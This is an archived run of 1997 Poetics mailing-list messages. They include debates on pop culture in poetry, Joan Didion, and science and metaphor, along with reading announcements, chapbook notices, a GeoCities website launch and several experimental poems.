> *Inclusion is important. Cartoons, Advertisements, road signs, T-shirts, doodles, sketches, drawings, collages, essays, scientific notes, newspaper clippings, you name it: anything can and should be used in poetry if poetry is not to be a ghetto.*

I often go to poetry for refuge from many of the things on this list.

Finnegan

↑ Index

265. Harold Rhenisch
Re: ANOTHER ATTEMPT
Fri 10 Oct 1997

In my view, poetry is not this list and is not the same as the things on this list. Poetry can be joyful, of course, and in its joy it can use this stuff as raw material, subject matter, reference, icons, or just fellow travellers (this is not a complete list): poetry is of this world and is a vital mode of perception and cognition. It should be able to handle everything. I don't want to say 'This is poetry here' and 'this here is not'. I like the fluidity and the naming and renaming of things more than that.

Best,

Harold

***

In a message dated 97-10-05 16:10:17 EDT, you write:

>Inclusion is important. Cartoons, Advertisements, road signs, T-shirts,
>doodles, sketches, drawings, collages, essays, scientific notes, newspaper
>clippings, you name it: anything can and should be used in poetry if
poetry
>is not to be a ghetto.

I often go to poetry for refuge from many of the things on this list.

Finnegan

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266. Poetics List
not joining but reading (fwd)
Fri 10 Oct 1997

---------- Forwarded message ----------
Date: Fri, 10 Oct 1997 15:25:19 -0700
From: hkhfound <[redacted]>
To: [redacted]
Subject: not joining but reading

Dear poetics list:

I would like to post a message concerning some upcoming readings at the ZINC Bar in NYC. How might I do this (I'm not looking to join the list, I only have

internet access through a part-time job)? If it's possible to plug in the information off of this message then....

Sunday, Oct. 12 - Alan Halsey, Geraldine Monk, Jean Portante, & Peter Laugeson. Start time is 6:15 pm.

Sunday, Oct. 19 - Heather Ramsdell & Donna Cartelli. 6:30 pm.

Sunday, Oct. 26 - A benefit for TALISMAN magazine featuring Eileen Myles, Sean Killian, Lisa Jarnot, Michael Heller & others.

ZINC Bar is located at 90 W. Houston St, near the corner of LaGuardia & W. Houston.

$3 donation is usual. There will be a $5 cover for the TALISMAN reading.

Sincerely, Anselm Berrigan

↑ Index

267. William Burmeister Prod
Re: defining language
Fri 10 Oct 1997

---

what is interesting is
a multiplicity of voices

voice as it becomes it
not autobiographical

a fictional personality
a voice in the machine

meaning in language
outside of language

other than linguistic is realist
realism is still mimesis

Pointless as experience
on the edge of pointlessness

silence is reminiscent
of something more opaque

what difference do words make?

to focus on the paradoxical
to denote the other as ex-center

"i have nothing to say"
as another way to say it

fashioned language as tension
an oscillation between language limitations

implications of experience
between text and context

Intertextuality appeals to function
flattening out sense

a confluence of identities to mime it
this is full-blown language

retouching itself to avoid becoming
another meaning

the inability of language
where a thought comes from

silence rather than absense
identifies otherness as imponderable

understanding apt to be
enshrined as fiction
entrapped in a rectory kit

self as a foreign country misplaced
a diary of secret destinations
we sell ourselves for

oneself as an obscure metaphor
a repository of language

artifice a hybrid personality
sometimes barely perceptible

contemporary less absense and presense
constructs an identity of contradictions

a breakdown in the melodrama
the narrative used to comic effect
with someone elses experiences.

- Bill Burmeister

↑ Index

268. Michael Magee
Re: the Gooch biography of Frank O'Hara
Fri 10 Oct 1997

To my knowledge, O'Hara's letters languish at UCONN without a publisher, though I wouldn't necessarily know if something was in the works. There quite wonderful - 600 pages of them! - and its a crime that they haven't been published. Everyone too lazy? Family resistance? Copyright probs? Beats me. But go enjoy them if you get the chance.

-Mike.

According to John
Latta: >
> Two questions late on the heels of talk about the chat-stricken Gooch bio.
> I recall some years back seeing notice that Peter Schjeldahl was at work
> on a biography of O'Hara. Does anyone know what became of it?
>
> Also, recently, in flipping through a 1980 entry on Ron Padgett in the
> Dictionary of Literary Biography, I spotted reference to Padgett's
> "currently editing The Selected Letters of Frank O'Hara for 1981
> publication" or something of the like. Perhaps understandably premature,
> this.
>
> Anyone know more?
>

↑ Index

269. Eliza McGrand
defining the definition
Fri 10 Oct 1997

---

well, this is an amalgamum of henry gould and someone pretending to be david bromige but is in fact probably a canadian and probably not bromige (though that is never quite CERTAIN)...

occam's razor. classifying the inherently complex and unclassifiable because source is unclassified and unclassifiable. you do it. ok, you have to do it because we are humans and our brains have only so many boxes and they work better with categories and so forth.

but all they are is categories, classifications, i.e. constructs hammered together in someone's brainbox backyard.

think of all those cowboys -- what is a cowboy? if you ride around in a suit and the ubiquitous phallic hat but you are moving sheep along, or keeping a herd of

horses in check, are you still a cowboy? if not, what if same person was walking on street and all you had to go on was outfit and hat -- are they, sui generis, almost cowboy cowboy? tentative cowboy? cowboy till proven otherwise but then, what constitutes proof? what if they rope steers alternate sundays? "cow" "boy" -- do you have to be involved with cows? do you have to be a boy? what if you're one of those things but not other?

language poet. you are a poet with something else? maybe a sushi poet? then, if we are using it in conjunction with someone, it is a classification, a chimera, a construct. just that. useful in getting a quick feel of someone. useful, if they claim membership, in knowing how they think of their work. useful in tracing possible influences.

but even the most "language poet"-y of "languge poets" had days when they were, no doubt, a sushi poet, or a language typist, or a sonnet-writer, or a formal neo-Donne-ist post Romantic lover, or non-lover, or a day when they said "geez, let's put on hats and rope steers for a day"...

like many of the writers who've answered, i write what i write on a given day led by the idea and using the form best used to make idea/germ/image/shape'o'day come out the way it wants to come out or in closest approximation to way i am experiencing it in my head at that particular moment. sometimes it's formal, sometimes it's fractured, sometimes it's formally fractured, sometimes i sound just like bob fucking-barker on let' s make a deal and then i go to the bathroom and swear off poetry for a few days... e

↑ Index

270. Aldon Nielsen
"Taylor Brings an Abstract Touch to Piano"
Fri 10 Oct 1997

Today's Los Angeles Times has an amusing review, under the above title, of Cecil Taylor's performances at the Jazz Bakery. (Amusing for all the usual touches: Taylor "hovering over the piano," "all the action converging through his hands" etc.)

but this line I had to pass along -- written, by the way, by Don Heckman:

"At one point, he suddenly removed his hands from the keyboard, picked up a piece of paper from the top of the piano and read what appeared to be an abstract poem. That concluded, he resumed his attack upon the keys."

I suppose there may be poems in the language that do not appear to be abstract, but perhaps they are less likely to appear at the top of a piano.

↑ Index

271. Eliza McGrand
that abstract poem/piano thing
Fri 10 Oct 1997

so, did he READ the poem ALOUD? did he read it silently, sneering occasionally and beating in beat syncopation? did he ATTACK the poem, or just read it aloud, or just read it, or read it with the same performative inflection he was giving his performance?

my god. if anyone, ever, does something like that with anything i've written, poem, prose, or clumpish blurt, and it gets a review of this level of trite buckskin-hip, i will personally impale and disem-kidney/sexual organ/nose the performer (for exposing me to this) and the critic (twice. just for being a critic AND for writing the thing).

i will. i swear it.
e

↑ Index

272. R. Gancie
SoKalled
Fri 10 Oct 1997

Tom. Thanks for your sentiments on "what it is to be human." You utterly misrepresent Penrose's position. But no matter. Your treatise on the harmony between poetry and the sciences would be better directed to Sokal, Gross and Levitt. I'm not taking big bucks to stamp out one side of your harmonious equation. The insecurities, limitations and venality of the scientific community as exemplified by Sokal have currently fueled this debate. It is demonstrable that science's metaphors can be as specious as anyone elses. I've been laughing my ass off at their ignorance and inconsistencies now for thirty years. Any poet who has been hired to teach composition to engineering students can attest to the rigor that even the humblest rhymster brings to language compared to the people who now want to redefine what language is if not tell us flat out what it cannot be. Science "speaks to me" too. But science has always told me never to sentimentalize it or to mistake its aesthetic for anything but incidental.---Carlo Parcelli

↑ Index

273. **henry**
Re: "Taylor Brings an Abstract Touch to Piano"
Fri 10 Oct 1997

---

it's all in the hands.
palm
pomme
poem
royal [pinko]
palm

- Eric "Dolphy" Blarnes a.k.a. "Feathers" McCrane

↑ Index

274. **Patricia Cockram**
Re: Writing is an Aggressive Act, Didion Says
Fri 10 Oct 1997

At 08:06 PM 10/8/97 -0400, Aviva Vogel wrote:
<snip>
>"Why I Write" by Joan Didion
>
>In many ways writing is the act of saying I, of imposing oneself upon other
>people, of saying listen to me, see it my way, change your mind. It's an
>aggressive, even a hostile act. You can disguise its aggressiveness all you
>want with veils of subordinate clauses and qualifiers and tentative
>subjunctives, with ellipses and evasions--with the whole manner of intimating
>rather than claiming, of alluding rather than stating--but there's no getting
>around the fact that setting words on paper is the tactic of a secret bully,
>an invasion, an imposition of the writer's sensibility on the reader's most
>private space.
>
Speak for yourself, Joan Didion.
Patricia

↑ Index

275. **rob wilson**
the sentence as aggression by me
Sat 11 Oct 1997

Re writing as a act of verbal aggression displacing the reader's specific head and frame of reference (as in Joan Didion writing travelogues for the state department in places like El Salvador and Miami as pits of Latin vice), Ron

Silliman's "Sunset Debris" dismantles this quasi-pornographic violationg (of otherness) by AMPING IT UP, turning the whole process into a stream of a million crazed questions that question the very act of displacement. A grim and funny poem, actually, at the outset of Age of Huts, but one that I for one would like to put in Joan Didion's Gucci Bags on her next trib to work up the third world into a site of Wheeler Hall ooze. I could question the whole process as an act of poetic warfare, like here, enframing "Joan Didion" into my own nasty post- and anti-liberal set of language aggressions. But it happens all the time in those murderous little Hemingway sentences, SVO machinery of misyogyny and war against the trout and Indians at the Big Two-Hearted River. Hey, it comes with the US territory, placing a mean little jar in the wilderness of tennessee to take the dump over: "and round it was and aof a certain port in air" like an insurance lawyer wiping up the bloodshed with a Grecian urn. And "Jokerman" is my Jeremiah 5 to get out of this dump, question mark.

↑ Index

276. James Finnegan

Re: Come On Down...

Sat 11 Oct 1997

In a message dated 97-10-10 17:43:30 EDT, you write:

> *In my view, poetry is not this list and is not the same as the things on this list. Poetry can be joyful, of course, and in its joy it can use this stuff as raw material, subject matter, reference, icons, or just fellow travellers (this is not a complete list): poetry is of this world and is a vital mode of perception and cognition. It should be able to handle everything. I don't want to say 'This is poetry here' and 'this here is not'. I like the fluidity and the naming and renaming of things more than that.*

Harold,

You are of course right. Poetry should be a portmanteau that can accommodate anything and everything. A skillful writer will be able to integrate these diverse & sundry elements into the poem.

Though it's somewhat unfashionable to bemoan the encroachment of popculture upon literature, I do resist it. Popculture is a sales vehicle, the grease for the wheels of commerce--people make it, just as people make poems, so I guess we must live with it. I just don't want to open a book of poems and feel like I've got a remote control in my hand surfing 140 channels and nothing on.

Finnegan

↑ Index

277. Maria Damon
Re: Writing is an Aggressive Act, Didion Says
Sat 11 Oct 1997

---

i have always found joan didion's writing thoroughly obnoxious and self-serving. maybe it's just her archness and nothing more, but it turns me off

At 11:33 PM -0400 10/10/97, Patricia Cockram wrote:
>At 08:06 PM 10/8/97 -0400, Aviva Vogel wrote:
><snip>
>>"Why I Write" by Joan Didion
>>
>>In many ways writing is the act of saying I, of imposing oneself upon other
>>people, of saying listen to me, see it my way, change your mind. It's an
>>aggressive, even a hostile act. You can disguise its aggressiveness all you
>>want with veils of subordinate clauses and qualifiers and tentative
>>subjunctives, with ellipses and evasions--with the whole manner of intimat-
ing
>>rather than claiming, of alluding rather than stating--but there's no getting
>>around the fact that setting words on paper is the tactic of a secret bully,
>>an invasion, an imposition of the writer's sensibility on the reader's most
>>private space.
>>
>Speak for yourself, Joan Didion.
>Patricia

↑ Index

278. Layne Russell
Contacting David Bromige
Sat 11 Oct 1997

Hi poets and poetics pros,

David Bromige called me today and asked me to post this info to the list:

David's outgoing email not functioning, so if anyone needs to contact him, please email him (his incoming email is fine) at

[redacted]

giving him your phone number and he will call you. He will be around until Saturday (10/18) when he leaves for the east coast for his reading tour.

Thanks all,

Layne for David

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279. Hugh Steinberg
Re: Writing is an Aggressive Act, Didion Says
Sat 11 Oct 1997

Maria Damon writes

> *i have always found joan didion's writing thoroughly obnoxious and self-serving. maybe it's just her archness and nothing more, but it turns me off*

I'm probably in the minority here, but I just finished reading "Slouching Towards Bethlehem," and while I thought it was arch in places, her description of the transformations that were occuring in the American West to be dead on accurate. The other thing that struck me about the book is how "old" she thinks she is, although most of the essays were written in her late twenties, early thirties.

Hugh Steinberg

↑ Index

280. Christopher Alexander
nominative press collective announces...
Sat 11 Oct 1997

---

announcing the publication of 2 new chapbooks
from nominative press collective!

--

by postcard: beloved series Rachel Daley

edition of 40. 5.5 x 6.5", hand-sewn, heavy coverstock
w. mylar endpapers; 20 printed pp.; illustration by
Rachel Daley & Christopher Alexander.

$4 / $7 institutional

--

-ocracy 8 & 9 Peter Ganick & Sheila Murphy

2 parts of the ongoing collaborative project

edition of 120. 5.5 x 8.5", saddle stapled, heavy
coverstock; 16 printed pp.; available in 5 different
covers! cover art by CT artist Cherie Mittenthal.

$3 / $5 institutional

--

!! samples may be viewed via the www @
http://choengmon.lib.utah.edu/~calexand/nonce/
(please come check out the newly revamped site!)

thanks! Chris

Christopher Alexander [redacted] Marriott Library Instruction
[redacted] (lv. msg.)

↑ Index

281. Christopher Alexander
nominative press collective nounces...
Sat 11 Oct 1997

---

announcing the publication of 2 new chapbooks
from nominative press collective! (& this time
without the invasive work-related .sig!)

--

by postcard: beloved series Rachel Daley

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(please come check out the newly revamped site!)

thanks! Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
www: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

282. Herb Levy
Re: that abstract poem/piano thing
Sat 11 Oct 1997

Calm down, Eliza, Taylor writes poetry & often (especially in the last 10 years or so) recites it in performance.

I don't know of an instance in which he read anyone else's work in performance, though most of the times I've seen him perform he's seemed to be reciting from memory rather than reading from a written text.

> *so, did he READ the poem ALOUD? did he read it silently, sneering occasionally*
> *and beating in beat syncopation? did he ATTACK the poem, or just read it aloud,*
> *or just read it, or read it with the same performative inflection he was giving*
> *his performance?*
>
> *my god. if anyone, ever, does something like that with anything i've written,*
> *poem, prose, or clumpish blurt, and it gets a review of this level of trite*
> *buckskin-hip, i will personally impale and disem-kidney/sexual organ/nose*
> *the performer (for exposing me to this) and the critic (twice. just for*
> *being a critic AND for writing the thing).*
>
> *i will. i swear it.*
> *e*

Herb Levy
[redacted]

↑ Index

283. Eliza McGrand
Re: Writing is an Aggressive Act, Didion Says
Sun 12 Oct 1997

i'll read joan didion's writing, and i'm often informed by it. but yes, maria, "archness" is certainly one way to describe an obnoxious aspect to it.

i think it struck me more, though, as a sort of assumed, snobbish privilege, in the sense of "well _i'm_ writing as a thin, gorgeous, rich, important white woman and really, isn't _any_ worthwhile white woman just like me?" reading

marge piercy, iris murdoch, margaret atwood, nadine gordimer -- all of whom write sort of "reportorial" accounts of other cultures [Good GOD! add doris lessing to this list of writers!] from a "white woman"-eyed view, often an academic eyed view (though marge piercy also writes from indian view in some of her work), the narrators are more human and fallible. they're not all gorgeous, brilliant, upper-washington-circle type protagonists. that is to say the anchoring narrators and their friends are sometimes heavy, have moments of foolishness, warmth, fun -- they are not always wearing their armor. this is, of course, a gros generalization. but the writer joan didion sometimes reminds me of is really nora ephron.

and of course, i am not in a position to talk -- god knows the sexism and dismissals joan didion has encountered, and she might well feel she needs to write from an armored, seamless position. and i've learned things from reading her work. but when i went to look for what i have of her, i found the books i have in my "modern literature" section, the "books i respect and might need to know about/quote, but not the books i love" section. she wasn't in my "women's literature/feminist" section, where the say-it-sister! books are -- where doris lessing, nadine gordimer, margaret atwood, marge piercy, are all cornerstones.

e

↑ Index

284. Eliza McGrand
Re: that abstract poem/piano thing
Sun 12 Oct 1997

---

thus we see the power of the critic/reviewer. you're quite right in implication herb -- taylor might be a swell guy, and the poems he reads and way he reads them might be wonderful. but that insufferable review!

blecchchhchhhh!!!

i MEAN it -- if i'm ever placed in surroundings of such a trite wanna-be-hip review i'm going to be out for blood! grrhhhhh!

i was amazed there was no mention of berets. was there and it just got cut out? -- i have to believe latter was the case.
e

↑ Index

285. Bob Grumman
News of Free WebSites
Sun 12 Oct 1997

Hi, Everybody!

About a month ago I happened into a system of websites called GeoCities.

http:/www.geocities.com

Go there and you'll see FREE WEBSITES advertised! It seems not to be any kind of rip-off. In any event, I got one, which my next message will announce the official opening of. You ALL should get your own websites at geocities! It's tricky getting one going, but instructions are supplied, and addresses to go to for help. Go to mine at

http://www/geocities/SoHo/Cafe/1492

just to see what someone who doesn't know what he can do has put up. Nothing fancy, but it includes a graphic, and the graphic could have been a photograph or painting.

The only drawback is that you aren't given a lot of space--two megabytes--but that's plenty for my purposes. And if you want more, you can get it for only $5 a month, which seems pretty cheap.

No, I'm not an employee of GeoCities, nor is this an advertisement; I just think it's information well worth passing on. Have fun! --Bob G.

↑ Index

286. Bob Grumman
Announcement of COMPREPOETICA, a Poetry-Data Collection Website
Sun 12 Oct 1997

Today I have decided to announce the Official Opening of COMPREPOETICA, a website devoted (as much as possible) to the WHOLE RANGE of contemporary American Poetry. And of World Poetry eventually, but I can only start so big. If you think, like I, that no reference has come close to doing justice to the current poetry scene as a whole, then you should see the value of Comprepoetica.

At the heart of my site is a survey form for poets, critics, editors, publishers and readers of poetry. Its main use will be to provide data for the biographical entries in the Comprepoetica Dictionary of Contemporary American Poetry, Poetics, Poets Etc., which will eventually by published by my own Runaway Spoon Press, a micro-publishing operation now ten-years-old. These entries will also be available to the public at Comprepoetica (or elsewhere on the Net if I run out of room at Comprepoetica).

Definitions of various poetics terms (supplied not only by me but by anyone who wants to send me any) will eventually be available for comment at Comprepoetica, as well--plus discussions of schools of contemporary poetry, and other aspects of the scene, such as significant magazines being published, and anthologies, and what's been on radio, the Internet, and even television. Anything that seems pertinent to an understanding of Contemporary Poetry--all of it--in America.

And for BIG FUN, I have a section where votes can be cast for one's favorite poets and poems! (yow)

I hope you'll ALL visit my site soon--and contribute to it! And tell your friends! Help get my visitor-counter into triple figures!

--Bob G

↑ Index

287. **robert drake**

Re: Announcement of COMPREPOETICA, a Poetry-Data Collection Website

Sun 12 Oct 1997

---

praps bob's too shy to mention it, or just excited about his new foray; but the address is:

http://www.geocities.com/SoHo/Cafe/1492/

> *Today I have decided to announce the Official Opening of COMPREPOETICA, a website devoted (as much as possible) to the WHOLE RANGE of contemporary American Poetry. And of World Poetry eventually, but I can only start so big. If you think, like I, that no reference has come close to doing justice to the current poetry scene as a whole, then you should see the value of Comprepoetica.*
>
> *At the heart of my site is a survey form for poets, critics, editors, publishers and readers of poetry. Its main use will be to provide data for the biographical entries in the Comprepoetica Dictionary of Contemporary American Poetry, Poetics, Poets Etc., which will eventually by published by my own Runaway Spoon Press, a micro-publishing operation now ten-years-old. These entries will also be available to the public at Comprepoetica (or elsewhere on the Net if I run out of room at Comprepoetica).*
>
> *Definitions of various poetics terms (supplied not only by me but by anyone who wants to send me any) will eventually be available for comment at Comprepoetica, as well--plus discussions of schools of contemporary poetry, and other aspects of the scene, such as significant magazines being published, and anthologies, and what's been on radio,*

> *the Internet, and even television. Anything that seems pertinent to an understanding of Contemporary Poetry--all of it--in America.*
>
> *And for BIG FUN, I have a section where votes can be cast for one's favorite poets and poems! (yow)*
>
> *I hope you'll ALL visit my site soon--and contribute to it! And tell your friends! Help get my visitor-counter into triple figures!*
>
> *--Bob G*

↑ Index

288. Jordan Davis
Tim Davis and Brenda Coultas at Here
Sun 12 Oct 1997

Not the opening reading (that was Tom Raworth and Ann Lauterbach) but the second, Tim Davis and Brenda Coultas at the shiny hospitable cafe at Here, 145 Avenue of the Americas, great glass windows looking out at the happy stragglers, looking in at one attentive group. Any fear that the vibe might get trampled in a not-for-profit zone is quelched by couches and a staff that not only acquiesces but acts apologetic when ambient irritations must be removed. Now on the other hand, the food is maybe only above decent, and the sense of being _at sea_ (unless you count the bateau-moucheness of the new digs) is just gone. And the beer is too much.

Brenda Coultas is too much. After a fine introduction by Rob Fitterman she read work from her first (totally great) collection, _Early Films_, and she read some new work which takes her early themes of meat, sex, animals, body parts, depravity and tenderness to a new pleasant intensity. She has a light touch. It represents Indiana. (Random comparison to Andy Levy?) There is something waldmanische (naturally, she danced and wrote at Naropa) about Coultas's work, but enough names. Tim Davis got up after a decent break during which host R Fitterman, D Rountree, B Andrews, K Davies, D Kovac, M Harb, R Smith, J Mac Low, D Gardner, M Highfill, J-A Wasserman, A Davies, S Rodefer, and many others milled. Rob gave a good and very friendly introduction. Tim got up, and read poems from his lunch poem series (resumed after a several-month hiatus), letters from artists to artists (e.g. Antonin Artaud to Jasper Johns -- "jam a roman candle up yr ass!" -- or Sally Mann to The Author (TD) -- "play the image card"), new poems, poems on the subject of a community of poets (which poems were written directly after readings and then dedicated to those poets namely Rod Smith, Brian Kim Stefans, Lisa Jarnot), and poems from his second chapbook, _My Life in Politics, A History of N=A=R=R=A=T=I=V=E Film_. Tim is transforming his post-Andrews superchunky vocabulary into a device to

generate plausible news, as if Hopkins quit the church and got a gig with Reuters, or ArtForum. But where Hopkins would stick around the same three sounds, Tim _plays the changes_, modulating from one cluster of phonemes to another, another. Too much too.

--(hours pass)--

Party at Tim's! Got there after waking from a splendid nap to Xena Warrior Princess's remake of Groundhog Day, then a beefalo dinner, angel hair and artichoke paste. Up the stairs and champagne! and he's moved the futon so the coats go into the front room, only a little music, mainly the same crowd from the reading (nice crowd), I had a nice conversation with my wife and Barbara Henning and then I want to say his name is Shim, he brought out his musical saw and someone else got their guitar, Tim found his banjo, there was a harmonica player and Drew Gardner, thwarted in his search for bongo improvised on a ceramic pasta pot. Lee Ann showed up and they did a happy birthday number of Amazing Grace.

Jordan Davis

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289. Ryan Whyte
Amerika
Sun 12 Oct 1997

Crystal occurs to him, inhales shards
Song of the pure cut
Sang d'un po e t
S un
Ash-stone never given to a woman
Sleep shakes off drunk words
This conceals itself within the tightening
Morning, oriflamme then hard
around

Liberty raised sword curtain so the deck swelled, sweaty expectants under her dress, French beacon la myrrhe gaie en ses bouteilles closes you left your papers you say? Nothing I can do for you. Stand in the line, there, snaking expectants, snaking, then pooling, sinking, unslaked. Oil prismatic, bugs, tugs.

To get inside the mirror he bit down on a piece of it, spat blood. After carefully dressing the lacerations in his mouth, he drew a bath, undressed, and submerged himself to his nose. Day's sweat glowed on the steaming surface, slicking across a tiny triangle which made its way ever so slowly from one side of his belly to the other, carefully right to left. The shard traced his intestine in a time

lapse photo; further, upon closing his eyes his consciousness was immediately contained by it, so that he was on the inside, looking out at his own insides. Thankfully, the shard's glow lit his interior passageways fairly well, grey falling across red and blue stalactites and liquid crystal strings for 10 or 20 feet in both directions -- that is, 10 or 20 feet on this inner scale. With the mirror's sharp edges he made small incisions on the colon wall; markers, so as to find his way out again. Another him shuddered with each cut, but he, the shard, was in the angel's dress now, ever climbing.

s/hard isn't it inflection English a diamond,

```
                c-c
                I I
                c-c or is it c
```

```
or c-c
  I\ \
  c c-c
   \I I
    c-c
```

fails to, in this case, mirror, stumble, chide maid Yes, says c, angel, this Yesp-resence I mean Yes non presence. in the stomach acid etches the mirror and his view is frosted, steamed, soon veins are blurred bloodways, blue fringed, how myopia happens, stomach kisses the eye wake/s. yes. ok.

↑ Index

290. Tom Beard
Re: SoKalled
Mon 13 Oct 1997

Carlo -

I'm not sure where I "utterly misrepresent Penrose's position", but I don't really want to get too far into a debate about AI on a poetics list (although there are interesting overlaps between the subjects). And it's true that there are many in the scientific community who are as ignorant of (and hostile to) the arts as some of those in the arts and humanities are of science.

Metaphor, in its various forms, seems to be central to science as well as poetry (and, if you take Jaynes seriously, to consciousness itself). To recognize that two things which are different are in some sense the same is the beginning of abstract thought, pattern recognition, poetic imagery and metaphysical conceits. As such, it is powerful, and that power can mislead as strongly as it can guide.

The "clockwork" metaphor that dominated nineteenth century science (and, of course, much of the twentieth) has shown itself to be incredibly misleading,

perhaps more so to the opponents of science (e.g. creationists who argue that a watch implies a watchmaker) than to working scientists. So too the "telephone exchange" metaphor of the brain that has influenced much of neuropsychology and AI - it is useful within its limitations, but neglects such things as brain chemistry. Actually, I much prefer Diderot's metaphor (in Rameau's Nephew) of the brain as a harpsichord, with thoughts on one string striking up resonances in others.

You say that "science has always told me never to sentimentalize it or to mistake its aesthetic for anything but incidental", and I certainly agree with the first part. But I'm not sure what you mean by mistaking science's aesthetic "for anything but incidental". Do you mean the commonly held feeling among scientists and mathematicians that simplicity/elegance/beauty is a sign of truth? Keats fell for that, too. Or do you mean that scientists aestheticize their own "quest for truth" and make this a central (rather than incidental) part of (how they represent) their lives? Well, there certainly have been science writers who have been guilty of this, although I'd hope that, post-Popper, we'd all be on a quest for that-which-is-yet-to-be-falsified.

Tom Beard.

↑ Index

291. **Tom Beard**

Re: Defining / Expression

Mon 13 Oct 1997

> *It's old news that language mediates. It seems too many critics rush to devalue the author's intent. A writer may want to be expressive, may want to "move" the reader emotionally. That language is an imperfect tool for such intent should not invalidate the attempt itself.*

what matters is not
that language fails
to touch the world

but that we try, and
try, and
keep on trying

to reach each other
with our soft and fallible
tongues

My trouble with the term "expressive", though, is that it implies a pre-existing thought/emotion/experience that one expresses, imperfectly or otherwise, through the conduit of the poem. It's why I cringe when some people define the

lyric as "an expression of personal emotion": I prefer the phrase "an exploration of ...". The poem is a trace of this exploration (construction?), and I certainly prefer it when this trace is a tangle of lines, some fragmented, some half-erased, rather than a thick line of black felt pen.

Perhaps this is one reason why I have chosen poetry rather than a form that aspires more to 'clarity' or 'directness' of thought. I'd rather not pin down thoughts/emotions/experiences, I like to let them flutter about rather messily (and if the reader wants to watch a different set of flutterers, fine). Or, to risk a rather dodgy use of a scientific metaphor, I want to leave the poem in a "superposition of states", rather than "collapsing the wave function". That's why I don't see the use of ambiguity, wordplay or ellipsis in a poem as mere trickery, but simply as honesty.

the film starts panned across
glassy faces (liberals, libertarians), city structured
like a language /
flashy signs, a concrete garden
libertines, liberti
sans egaliti, WALK NOW, bodies

spin & flow, maintain
an airy buffer, safety

between such days
we might navigate, our
digits tracing the maps, streets
we turn into
fading as _the film ends_

(For those of you not afraid of a little pop culture infiltrating poetry, the words in italics (okay, alright, underscores) at the beginning and end are from Leftfield.)

↑ Index

292. Layne Russell
John Denver
Mon 13 Oct 1997

---

from "Flying for Me," 1986:

I wanted to wish on the Milky Way
and dance upon a falling star
I wanted to give myself
and free myself
and join myself with it all

-- John Denver

into the light, John....

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry

↑ Index

293. **Hugh Steinberg**
Re: SoKalled
Mon 13 Oct 1997

Tom writes:
>
>Metaphor, in its various forms, seems to be central to science as well as
>poetry (and, if you take Jaynes seriously, to consciousness itself). To
>recognize that two things which are different are in some sense the same is
>the beginning of abstract thought, pattern recognition, poetic imagery and
>metaphysical conceits. As such, it is powerful, and that power can mislead
>as strongly as it can guide.
>
I just finished reading a great book by Evelyn Fox Keller titled
"Refiguring Life: Metaphors of Twentieth Century Biology." It's short,
but quite illuminating in the way it describes the way metaphor can shape
directions of scientific inquiry.

Hugh Steinberg

↑ Index

294. **simon**
Re: SoKalled
Mon 13 Oct 1997

I'd just like to mention here, on the heels of T. Beard's summary remark that "[m]etaphor, in its various forms, seems to be central to science as well as poetry (and, if you take Jaynes seriously, to consciousness itself)", which, i'd also like to suggest, is something to take literally, concretely, i.e. as literal cognitive function, and refer, again to Aviva Vogel's query "I'm curious...why use words..." and Henry Gould's reply, that "[t] word is an arbitrary flowing replaceable phenomenon subject to the "conductor's baton" of the transformational poetic impulse" (although these last two were not talking on this subject)

I'd like to mention Damasio's claim (a well based claim, or so it seems to me if you consider what we know, and what we don't know, about language acquisition, storage, and domain locations in the brain): that meaning of words *with concrete referents* [italics mine] is represented in a way that is linked to the individual's sensory experience *of those referents*, and hence, language independent. [itals mine again]

beth simon

↑ Index

295. Joe Amato/Kass Fleisher
yet another...
Mon 13 Oct 1997

"sometimes i feel like a sad song"

john denver

↑ Index

296. Robert Archambeau
Chicago Area Reading
Mon 13 Oct 1997

Those of you in and around Chicago might be interested in a reading by Stephanie Strickland, set for Thursday October 16th at 7:30 pm, in the Glen Rowan House on the Campus of Lake Forest College (555 N. Sheridan Rd., Lake Forest IL)

Stephanie Strickland has published three books of poetry, Give the Body Back (1991), The Red Virgin: A Poem of Simone Weil (1993), and True North (1997). She has recently become interested in the potential of computer as a medium for poetry, and True North will be available in a hypertext version from Eastgate Systems next year.

Her essay “Poetry in the Electronic Environment is, appropriately, available on the internet, as part of the EBR at:

http://www.altx.com/ebr/ebr5/strick.htm

Backchannel for more information.

R.A.
--
Robert Archambeau
Department of English
Lake Forest College

Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Only irony is eternal
--Andrei Codrescu

↑ Index

297. **mark weiss**
Re: SoKalled
Mon 13 Oct 1997

How can the meaning of words be independent of language? Does he mean independent of syntax?

> *I'd like to mention Damasio's claim (a well based claim, or so it seems to me if you consider what we know, and what we don't know, about language acquisition, storage, and domain locations in the brain): that meaning of words *with concrete referents* [italics mine] is represented in a way that is linked to the individual's sensory experience *of those referents*, and hence, language independent. [itals mine again]*
>
> *beth simon*

↑ Index

298. **Carolyn Guertin**
Metaphors
Mon 13 Oct 1997

> *Tom writes:*
>
> *Metaphor, in its various forms, seems to be central to science as well as poetry (and, if you take Jaynes seriously, to consciousness itself). To recognize that two things which are different are in some sense the same is the beginning of abstract thought, pattern recognition, poetic imagery and metaphysical conceits. As such, it is powerful, and that power can mislead as strongly as it can guide.*
>
> *Hugh Steinberg writes:*
> *I just finished reading a great book by Evelyn Fox Keller titled "Refiguring Life: Metaphors of Twentieth Century Biology." It's short, but quite illuminating in the way it describes the way metaphor can shape directions of scientific inquiry.*

And there's a new book out from MIT called "Internet Dreams: Archetypes, Myths, and Metaphors," edited by Mark Stefik, which looks at how metaphors have, can and might shape the internet and our interactions with it.

Cheers, Carolyn

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: http://www.ualberta.ca/~cguertin/Guertin.htm See the 3D Woman! http://www.ualberta.ca/~cguertin/laser/enter.htm "Memory is a capricious seamstress." -- Virginia Woolf

↑ Index

299. Ira Lightman
Char/Boulez
Mon 13 Oct 1997

Pierre Boulez's "setting" of Char (often without the words!) "Le Marteau sans Maitre", is amazing!

↑ Index

300. Tom Beard
SoKalled SF
Tue 14 Oct 1997

First of all, a correction on the source of Diderot's harpsichord metaphor: it's from d'Alembert's Dream, not Rameau's Nephew. And thanks for the Evelyn Fox Keller and Mark Stefik references: I'll look these up.

